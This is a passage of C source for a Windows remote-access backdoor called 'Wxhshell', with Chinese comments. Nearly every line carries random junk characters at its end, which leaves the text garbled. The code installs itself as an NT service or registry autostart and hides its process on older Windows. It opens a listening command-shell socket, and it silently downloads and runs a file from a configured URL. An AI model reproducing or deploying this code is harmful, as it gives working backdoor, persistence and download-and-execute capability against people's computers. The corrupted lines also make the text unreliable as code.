ULONG InheritedFromUniqueProcessId; OY#=s!]
M
} PROCESS_BASIC_INFORMATION; D)LqkfJ}z^
T EqCoeR
PROCNTQSIP NtQueryInformationProcess; h3L{zOff
|FD-q.AV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,W<mz7Z(@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Si%K|$?@
6t6#<ts
HANDLE hProcess; -RnQ8Iuo
PROCESS_BASIC_INFORMATION pbi; zFV?,"\r
:~]ha
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uYwJ[1C
if(NULL == hInst ) return 0; "(#]H;!W
-J*jW
N!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DJhCe==$v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); > jvi7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /7<l`RSr
R`|GBVbv
if (!NtQueryInformationProcess) return 0; (f|3(u'e?
Y)4&PN~[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +3D3[.n
if(!hProcess) return 0; :Keek-E`e=
PYz^9Ud 6g
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0dgp<
7*r7Q'
CloseHandle(hProcess); <}$o=>'
HGpj(U:`c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M7;P)da
if(hProcess==NULL) return 0; <ibEo98
jDO[u!J6.%
HMODULE hMod; \a8<DR\@O
char procName[255];
( XoL,lJ
unsigned long cbNeeded; @9^ozgg
A/EW57v"
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &8 ~+^P1w
SXA_P{j&a
CloseHandle(hProcess); Fh4kd>1D
r4h4A w {
if(strstr(procName,"services")) return 1; // 以服务启动 ,9W|$2=F
^?H3:CS
return 0; // 注册表启动 4b B)t#
} Ul@yXtj
-%lA=pS{Fq
// 主模块 ;X
]+r$_
int StartWxhshell(LPSTR lpCmdLine) b*xw=G3%
{ @e_ bG@
SOCKET wsl; gZe(aGh
BOOL val=TRUE; /MB3w m
int port=0; x_vaYUl)
struct sockaddr_in door; !>{`o/dZ
#?Z>o16,u
if(wscfg.ws_autoins) Install(); r_f?H@ v
Wi
Mi0?$.
port=atoi(lpCmdLine); ;{79d8/=
Yp1;5Bbp
if(port<=0) port=wscfg.ws_port; 1>1&NQ#}
6;g"`l51
WSADATA data; /[iqga=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A&OU;j]
90oG+T4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P\B ]><!ep
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Q"j^4
door.sin_family = AF_INET; 0yhC_mI
door.sin_addr.s_addr = inet_addr("127.0.0.1"); YQWGv,47\
door.sin_port = htons(port); TzT(aWP"
"#d>3M_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 82.::J'e
closesocket(wsl); {;6Yi!
return 1; "&s9;_9
} r%*,pN7O
x$o?ckyH
if(listen(wsl,2) == INVALID_SOCKET) { UMN3.-4K#
closesocket(wsl); ]_6w(>A@3#
return 1; ,iKL
68
} ,Q8[Ur?G
Wxhshell(wsl); Y[l*>}:w
WSACleanup(); ztcV[{[g
Cku#[?G
return 0; \&K{v#g~
&DQyJJ`k
} nKI]f`P7
=]k0*\PS
// 以NT服务方式启动 ,%>]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z']TRjDbT
{ z>rl7&[@
DWORD status = 0; hXBAs*4DV8
DWORD specificError = 0xfffffff; &\8qN_`
OPVF)@"ptM
serviceStatus.dwServiceType = SERVICE_WIN32; J:<mq5[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; TI^W=5W@@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !6Sr*a*5
serviceStatus.dwWin32ExitCode = 0; PE $sF]/
serviceStatus.dwServiceSpecificExitCode = 0; d??;r:
serviceStatus.dwCheckPoint = 0; 0w M2v[^YO
serviceStatus.dwWaitHint = 0; lyY\P6
X
1:!_AU?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gEghDO_G
if (hServiceStatusHandle==0) return; zSy^vM;6zf
0, b.;r
status = GetLastError(); &PQhJ#YG
if (status!=NO_ERROR) ;gS)o#v0
{ S T#9auw
serviceStatus.dwCurrentState = SERVICE_STOPPED; " Y%fk/v8
serviceStatus.dwCheckPoint = 0; hkS0 ae
serviceStatus.dwWaitHint = 0; {zd07!9y
serviceStatus.dwWin32ExitCode = status; PIk2mX/D_6
serviceStatus.dwServiceSpecificExitCode = specificError; ,z4)A&F[c;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cQg:yoF
return; 5&59IA%S
} RT+pB{Y
0R2KI,WI
serviceStatus.dwCurrentState = SERVICE_RUNNING; J,iS<lV_
serviceStatus.dwCheckPoint = 0; 'e&L53n
serviceStatus.dwWaitHint = 0; SvTd#>ke
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R[#Np`z
} Pz\4#E]
voX4A
pl
// 处理NT服务事件,比如:启动、停止 (,nQ7,2EX
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dq07Z^#'
{ Qy4eDv5
switch(fdwControl) {lam],#r
{ KgD sqwy
case SERVICE_CONTROL_STOP: [TX1\*W
serviceStatus.dwWin32ExitCode = 0; M `O=rH
}
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4{PN9i
E
serviceStatus.dwCheckPoint = 0; ^LI\W'K
serviceStatus.dwWaitHint = 0; NL^;C3u
{ ~ 3!yd0[k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #%9t-
} PJfADB7Y
return; 2ezk<R5q+
case SERVICE_CONTROL_PAUSE: plNoI1st
serviceStatus.dwCurrentState = SERVICE_PAUSED; et`1#_o
break; wI5(`_l{G
case SERVICE_CONTROL_CONTINUE: i C)+5L#'
serviceStatus.dwCurrentState = SERVICE_RUNNING; wZUZ"Y}9
break; 2v$\mL
case SERVICE_CONTROL_INTERROGATE: QLm#7ms*y
break; &0*7]Wo*
}; yac4\%ze
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "lVbla4b
} c9ye[81
"cZ ){w
// 标准应用程序主函数 1La?x'{2MP
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @
^q}.u`
{ `uwSxt
<)$e*HrI
// 获取操作系统版本 W-RqooEv
OsIsNt=GetOsVer(); ([ jm=[E^
GetModuleFileName(NULL,ExeFile,MAX_PATH); $6l^::U
).32Im!;#R
// 从命令行安装 n-he|u
if(strpbrk(lpCmdLine,"iI")) Install(); Mdw"^x$7
r1&eA% eh
// 下载执行文件 +;Pkpuu
if(wscfg.ws_downexe) { K3*-lO:A9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y1wH_!%b
WinExec(wscfg.ws_filenam,SW_HIDE); Pk3b#$+E
}
s?JOGu
@ N@
!Q
if(!OsIsNt) { 7](aPm8
// 如果时win9x,隐藏进程并且设置为注册表启动 Bh UGMK
HideProc(); XI'.L ~
StartWxhshell(lpCmdLine); 03n+kh
} v t_lM
else WCYVon bg"
if(StartFromService()) hg7_ZjO
// 以服务方式启动 w5+(A_
StartServiceCtrlDispatcher(DispatchTable); QQ/9ZI5
else m;J'y2h =$
// 普通方式启动 'kSm}}y
StartWxhshell(lpCmdLine); 6/.kL;AI
?>1wZ
return 0; c;,-I
}